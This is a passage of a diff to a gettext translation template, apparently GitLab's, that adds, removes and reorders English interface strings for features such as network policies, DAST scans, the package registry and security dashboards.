+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15111,9 +15542,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15141,6 +15569,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15165,6 +15596,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15243,6 +15677,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15463,6 +15906,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15508,6 +15960,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15697,12 +16152,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15712,6 +16200,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15724,6 +16215,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15742,12 +16236,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15772,9 +16272,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15787,9 +16293,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16181,12 +16732,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16274,18 +16831,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16433,9 +16984,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16475,9 +17023,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16520,21 +17065,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16544,25 +17095,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16620,9 +17177,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16641,6 +17195,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16656,9 +17213,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16779,18 +17342,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16824,9 +17381,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -16911,6 +17465,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -16926,6 +17486,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -16944,9 +17507,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -16983,27 +17543,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17052,13 +17603,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17202,7 +17759,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17706,6 +18263,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17859,13 +18419,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17877,6 +18437,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18168,15 +18731,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18567,6 +19124,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18591,6 +19151,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19182,7 +19745,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,10 +19754,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19254,6 +19826,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19308,6 +19883,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19389,6 +19967,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19719,9 +20300,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19816,6 +20394,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -19907,6 +20488,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -19949,6 +20533,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20018,9 +20605,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20054,9 +20638,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20069,12 +20650,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20123,15 +20698,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20313,9 +20882,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20501,9 +21067,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20682,6 +21254,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20694,6 +21269,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20820,6 +21398,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20850,6 +21431,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -20898,6 +21482,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -20940,6 +21527,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21127,6 +21717,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21154,13 +21747,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21181,6 +21798,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21208,7 +21828,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21244,13 +21864,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr ""
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21265,19 +21882,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21307,13 +21921,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21385,7 +21999,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21394,6 +22008,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21424,9 +22041,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21550,6 +22164,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21580,6 +22197,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21769,6 +22389,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21781,6 +22407,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22095,19 +22727,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22203,6 +22835,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22245,7 +22880,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22296,12 +22931,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22359,6 +23003,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22488,10 +23135,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23388,6 +24035,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23436,6 +24086,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23448,6 +24101,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23627,6 +24283,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
